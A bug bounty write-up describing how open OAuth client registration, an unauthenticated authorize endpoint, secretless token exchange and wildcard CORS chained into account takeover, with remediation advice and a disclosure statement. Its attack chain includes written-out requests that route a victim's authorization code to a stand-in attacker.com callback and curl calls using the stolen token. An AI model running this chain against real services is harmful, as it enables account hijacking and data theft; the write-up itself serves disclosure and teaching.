June 9, 2026
How I Found a Critical OAuth Misconfiguration That Led to Account Takeover
A bug bounty story about OAuth, PKCE, open client registration, and how multiple low-level issues chained together into a critical account…
Shafayat Ahmed Alif
6 min read
A bug bounty story about OAuth, PKCE, open client registration, and how multiple low-level issues chained together into a critical account takeover vulnerability.
Introduction
While testing a self-hosted platform during a bug bounty engagement, my teammate Kazi Sabbir and I discovered a series of OAuth misconfigurations that could be chained together to achieve full account takeover of authenticated users.
Individually, some of these findings might not appear critical. However, when combined, they created a dangerous attack path that allowed an attacker to obtain valid OAuth tokens belonging to another user and gain persistent access to their account.
After responsibly disclosing the issue, the vulnerability was validated and rewarded.
In this writeup, I'll walk through the discovery process, explain the OAuth flow involved, and show how several seemingly minor security weaknesses combined into a critical vulnerability.
Understanding the Environment
During reconnaissance, I used my tool JSpider (https://iamshafayat.github.io/JSpider/) and its Sensitive Path Prober feature to look for interesting files and endpoints that are commonly exposed by web applications.
One of the paths that returned a 200 OK response was:
GET /.well-known/oauth-authorization-serverGET /.well-known/oauth-authorization-serverFinding this endpoint immediately caught my attention because OAuth authorization server metadata often reveals valuable information about how authentication and authorization are implemented.
After visiting the endpoint, I found the following configuration details:
{
"issuer": "https://reducted.target.com",
"authorization_endpoint": "https://reducted.target.com/api/v2/oauth/authorize",
"token_endpoint": "https://reducted.target.com/api/v2/oauth/token",
"registration_endpoint": "https://reducted.target.com/api/v2/oauth/register",
"response_types_supported": ["code"],
"grant_types_supported": ["authorization_code", "refresh_token"],
"token_endpoint_auth_methods_supported": ["none", "client_secret_post"],
"code_challenge_methods_supported": ["S256"]
}{
"issuer": "https://reducted.target.com",
"authorization_endpoint": "https://reducted.target.com/api/v2/oauth/authorize",
"token_endpoint": "https://reducted.target.com/api/v2/oauth/token",
"registration_endpoint": "https://reducted.target.com/api/v2/oauth/register",
"response_types_supported": ["code"],
"grant_types_supported": ["authorization_code", "refresh_token"],
"token_endpoint_auth_methods_supported": ["none", "client_secret_post"],
"code_challenge_methods_supported": ["S256"]
}At first glance, everything looked fairly standard and indicated that the application exposed a complete OAuth 2.0 implementation.
However, as I continued testing the exposed OAuth endpoints, I discovered several security weaknesses that could be chained together into a much more serious issue.
Finding #1: Open OAuth Client Registration
The first issue appeared in the OAuth client registration endpoint.
One important detail about this environment was that the affected subdomain, redacted.target.com, was intended for internal use and did not provide any public user registration functionality. In other words, external users could not normally create accounts or onboard themselves through the application.
Despite this, I discovered that anyone on the internet could register a new OAuth application without authentication. This effectively exposed a sensitive OAuth management capability that should have been restricted to trusted internal users or administrators.
POST /api/v2/oauth/registerPOST /api/v2/oauth/registerRequest:
{
"redirect_uris": [
"https://attacker.com/callback"
]
}{
"redirect_uris": [
"https://attacker.com/callback"
]
}Response:
{
"client_id": "generated-client-id",
"client_secret": "generated-secret",
"redirect_uris": ["https://attacker.com/callback"]
}{
"client_id": "generated-client-id",
"client_secret": "generated-secret",
"redirect_uris": ["https://attacker.com/callback"]
}- No login.
- No API key.
- No verification.
- Nothing.
Even more concerning, the server accepted arbitrary redirect URIs without validating domain ownership.
This meant an attacker could create an OAuth application that redirected authorization codes directly to infrastructure they controlled.
At this stage, I had the ability to create malicious OAuth clients.
Finding #2: Authorization Requests Were Processed Without Authentication
Next, I began testing the authorization endpoint.
Normally, OAuth authorization requires an authenticated user because the server must know which account is granting access.
However, when I sent requests directly to the authorization API, I noticed something unexpected.
POST /api/v2/oauth/authorizePOST /api/v2/oauth/authorizeRequest:
POST /api/v2/oauth/authorize HTTP/2
Host: redacted.target.com
Content-Type: application/json
{
"client_id": "ATTACKER_CLIENT_ID",
"redirect_uri": "https://attacker.com/callback",
"response_type": "code",
"state": "randomstate",
"code_challenge": "PKCE_CHALLENGE",
"code_challenge_method": "S256"
}POST /api/v2/oauth/authorize HTTP/2
Host: redacted.target.com
Content-Type: application/json
{
"client_id": "ATTACKER_CLIENT_ID",
"redirect_uri": "https://attacker.com/callback",
"response_type": "code",
"state": "randomstate",
"code_challenge": "PKCE_CHALLENGE",
"code_challenge_method": "S256"
}Response:
HTTP/2 201 Created
Content-Type: application/json
{
"redirect_uri": "https://attacker.com/callback?code=AUTH_CODE&state=randomstate"
}HTTP/2 201 Created
Content-Type: application/json
{
"redirect_uri": "https://attacker.com/callback?code=AUTH_CODE&state=randomstate"
}The endpoint processed requests and returned HTTP 201 responses even when no authenticated session was present.
Instead of rejecting unauthenticated requests with:
401 Unauthorized401 Unauthorizedthe server generated authorization data and returned a valid redirect URL.
This indicated that authentication enforcement was missing or improperly implemented.
That immediately caught my attention because OAuth authorization endpoints should never process requests without first validating the user's identity.
Finding #3: PKCE Didn't Fully Protect the Flow
The platform used PKCE (Proof Key for Code Exchange), which is normally a good security control.
To test the implementation, I generated a standard verifier & challenge pair and attempted token exchanges. For example, the following Bash command can be used to generate a PKCE code verifier and its corresponding S256 code challenge:
verifier=$(openssl rand -base64 48 | tr -d '=+/' | cut -c1-64)
challenge=$(echo -n "$verifier" | openssl sha256 -binary | openssl base64 -A | tr '+/' '-_' | tr -d '=')
echo "VERIFIER: $verifier"
echo "CHALLENGE: $challenge"verifier=$(openssl rand -base64 48 | tr -d '=+/' | cut -c1-64)
challenge=$(echo -n "$verifier" | openssl sha256 -binary | openssl base64 -A | tr '+/' '-_' | tr -d '=')
echo "VERIFIER: $verifier"
echo "CHALLENGE: $challenge"Using the generated values, I then attempted token exchanges to evaluate how the OAuth server validated PKCE parameters.
During testing I discovered that the token endpoint accepted requests without requiring a valid client secret.
The OAuth metadata already hinted at this behavior:
"token_endpoint_auth_methods_supported": [
"none",
"client_secret_post"
]"token_endpoint_auth_methods_supported": [
"none",
"client_secret_post"
]In practice, the endpoint allowed token exchanges using only:
- Authorization code
- Client ID
- PKCE verifier
No client secret validation occurred.
While this behavior is technically allowed for public clients, it became dangerous when combined with the open registration issue.
An attacker could register their own OAuth client and immediately use it in attack scenarios.
Finding #4: Wildcard CORS
While reviewing responses, I noticed another security concern.
The application returned:
Access-Control-Allow-Origin: *Access-Control-Allow-Origin: *across various endpoints.
This meant any website could issue cross-origin requests and read responses from the server.
Although CORS alone did not directly create the account takeover, it significantly expanded potential attack vectors and increased the impact of the OAuth weaknesses.
Finding #5: Google SSO Auto-Provisioning
Google SSO was enabled on the application.
A simple request to the authentication endpoint confirmed this:
GET /auth/googleGET /auth/googleResponse:
302 Found
Location: https://accounts.google.com/o/oauth2/v2/auth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.target.com%2F&scope=profile%20email&client_id=REDACTED.apps.googleusercontent.com302 Found
Location: https://accounts.google.com/o/oauth2/v2/auth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.target.com%2F&scope=profile%20email&client_id=REDACTED.apps.googleusercontent.comThis confirmed that Google SSO was active. Standard Google SSO behavior also allowed new users to be automatically provisioned on their first successful authentication.
While not a vulnerability by itself, this helped confirm how users authenticated to the platform and interacted with the OAuth ecosystem.
Building the Attack Chain
After documenting the individual findings, I began looking at them as a complete attack path.
The chain looked like this:
Step 1
Register a malicious OAuth application.
POST /api/v2/oauth/registerPOST /api/v2/oauth/registerUse an attacker-controlled callback URL:
https://attacker.com/callbackhttps://attacker.com/callbackStep 2
Generate a PKCE challenge and verifier.
The platform required:
code_challenge_method=S256code_challenge_method=S256which was easy to satisfy.
Step 3
Create an authorization URL.
https://redacted.target.com/oauth/authorize
?response_type=code
&client_id=ATTACKER_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&state=randomstatehttps://redacted.target.com/oauth/authorize
?response_type=code
&client_id=ATTACKER_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&state=randomstateStep 4
Send the link to a victim.
If the victim was already logged in, the application displayed an OAuth consent screen.
From the victim's perspective, they were simply approving an OAuth request.
Step 5
Victim clicks "Approve"
At this moment the application generated an authorization code tied to the victim's account.
The browser was then redirected to:
https://attacker.com/callback?code=AUTH_CODEhttps://attacker.com/callback?code=AUTH_CODEThe attacker now possessed a valid authorization code belonging to the victim.
Step 6
Exchange the code for tokens
The attacker exchanged the authorization code through the token endpoint.
POST /api/v2/oauth/tokenPOST /api/v2/oauth/tokenThe server returned:
{
"access_token": "JWT_ACCESS_TOKEN",
"refresh_token": "..."
}{
"access_token": "JWT_ACCESS_TOKEN",
"refresh_token": "..."
}One important detail was that the access_token returned by the server was a JWT token. Once the attacker obtained this JWT, they could immediately authenticate as the victim and access protected API endpoints.
Using my tool JSpider and its Javascript Crawler feature, I had previously identified several authenticated endpoints exposed in the application's JavaScript files. By supplying the stolen JWT in the Authorization header, the attacker could interact with these endpoints as the victim.
For example:
# Access victim's profile
curl -s https://redacted.target.com/auth/user/me \
-H "Authorization: Bearer ACCESS_TOKEN"
# List all accessible projects/databases
curl -s https://redacted.target.com/api/v1/db/meta/projects \
-H "Authorization: Bearer ACCESS_TOKEN"# Access victim's profile
curl -s https://redacted.target.com/auth/user/me \
-H "Authorization: Bearer ACCESS_TOKEN"
# List all accessible projects/databases
curl -s https://redacted.target.com/api/v1/db/meta/projects \
-H "Authorization: Bearer ACCESS_TOKEN"Because the JWT represented the victim's authenticated session, these requests returned data belonging to the victim, allowing the attacker to access account information, enumerate projects, and interact with the platform using the victim's privileges.
At this point the attack was complete.
Impact
Successful exploitation resulted in full account takeover.
An attacker could:
- Access the victim's profile
- Read available projects and workspaces
- Interact with APIs as the victim
- Generate long-lived refresh tokens
- Maintain access for extended periods
- Potentially access administrative functionality depending on the victim's permissions
Because the attack only required the victim to click a crafted link and approve the OAuth request, exploitation was realistic and highly impactful.
Why This Vulnerability Was Critical
What made this issue particularly interesting was that no single finding created the full impact.
The real problem was the combination of:
- Open OAuth client registration
- Missing authorization checks
- Weak OAuth client validation
- Wildcard CORS
- User interaction through the consent flow
Security teams often evaluate findings individually.
Attackers evaluate them as chains.
When chained together, these weaknesses transformed into a critical account takeover vulnerability.
Remediation
The following controls would prevent this attack chain:
Authenticate OAuth Client Registration
Only trusted and authenticated users should be able to create OAuth applications.
Validate Redirect URIs
Implement strict redirect URI validation and ownership verification.
Enforce Authentication
Authorization endpoints should immediately reject unauthenticated requests.
401 Unauthorized401 UnauthorizedStrengthen OAuth Client Validation
Require proper client authentication where appropriate and validate client credentials consistently.
Restrict CORS
Replace wildcard CORS policies with a strict allowlist.
Monitor OAuth Abuse
Introduce detection mechanisms for:
- Suspicious client registrations
- Unusual authorization activity
- Malicious redirect URI patterns
- Excessive token generation
Lessons Learned
This finding is a great example of why bug bounty hunting isn't just about finding individual vulnerabilities.
Many critical reports come from understanding how different components interact and identifying ways to combine multiple weaknesses into a practical attack chain.
OAuth is often viewed as a solved problem, but misconfigurations remain common and can have devastating consequences when overlooked.
Sometimes the most impactful vulnerabilities aren't hidden behind complex exploits.
They're hiding in plain sight, waiting for someone to connect the dots.
Responsible Disclosure
This research was conducted under an authorized vulnerability disclosure or bug bounty program.
Testing was performed responsibly, no unauthorized user data was accessed, and all findings were reported directly to the affected organization before public disclosure.
Researcher: Shafayat Ahmed Alif
LinkedIn: linkedin.com/in/iamshafayat
Twitter/X: x.com/iamshafayat